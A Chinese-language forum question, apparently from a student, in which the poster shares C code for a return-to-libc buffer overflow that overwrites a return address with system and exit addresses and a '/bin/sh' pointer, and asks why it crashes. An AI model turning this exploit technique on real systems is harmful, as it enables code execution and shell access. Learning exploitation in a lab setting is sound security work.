我应该想出一个利用“返回 libc 缓冲区溢出”的程序。也就是说,当执行时,它会干净地退出并显示一个 SHELL 提示。该程序在 bash 终端中执行。下面是我的 C 代码:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
使用gdb,我已经能够确定以下内容:
- “系统”地址:0x4c4ab0
- “退出”地址:0x4ba520
- 字符串“/bin/sh”驻留在内存中:0xbfffff13
我还知道,使用gdb将 32 个“A”插入我的缓冲区变量将覆盖返回地址。因此,鉴于系统调用是 4 个字节,我首先在 28 个字节处填充我的内存“泄漏”。在第 28 个字节,我开始我的系统调用,然后退出调用,最后添加我的“/bin/sh”内存位置。
但是,当我运行该程序时,我得到以下信息:
sh: B���: command not found
Segmentation fault (core dumped)
我真的不确定我做错了什么......
[编辑]:我能够通过导出环境变量来获取字符串“/bin/sh”:
export MYSHELL="/bin/sh"